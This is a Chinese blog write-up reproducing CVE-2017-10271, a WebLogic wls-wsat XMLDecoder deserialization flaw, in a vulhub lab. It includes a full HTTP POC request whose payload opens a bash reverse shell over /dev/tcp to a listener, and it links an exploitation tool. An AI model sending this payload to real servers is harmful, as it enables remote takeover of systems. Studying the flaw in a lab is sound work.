其他分享
首页 > 其他分享> > CVE-2017-10271 Weblogic 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞

CVE-2017-10271 Weblogic 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞

作者:互联网

0X00-引言


一些道理想不通就不想了,过两年想起来的时候再想一想说不定就明白了。认知,处境不同,对待问题的态度和方法也不同,现在不理解以后或许会理解的。

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本:Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0

0X03-漏洞复现


01-验证漏洞

http://192.168.234.128:7001/wls-wsat/CoordinatorPortType

image-20211222103313786

可能存在漏洞,工具检测证明存在漏洞

02-手动复现

POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/监听机IP/PORT 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

把原始包替换成POC-标红为要注意的内容

image-20211222104145238

反shell成功

image-20211222104241217

0X04-工具检测


工具地址:https://github.com/Liqunkit/LiqunKit_

image-20211222111613833

image-20211222111645379

0X05-免责声明


仅供学习参考

0X06-参考


https://paper.seebug.org/487/

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/

标签:vulhub,xml,10.3,XMLDecoder,zh,wls,漏洞,https,序列化
来源: https://www.cnblogs.com/peace-and-romance/p/15721961.html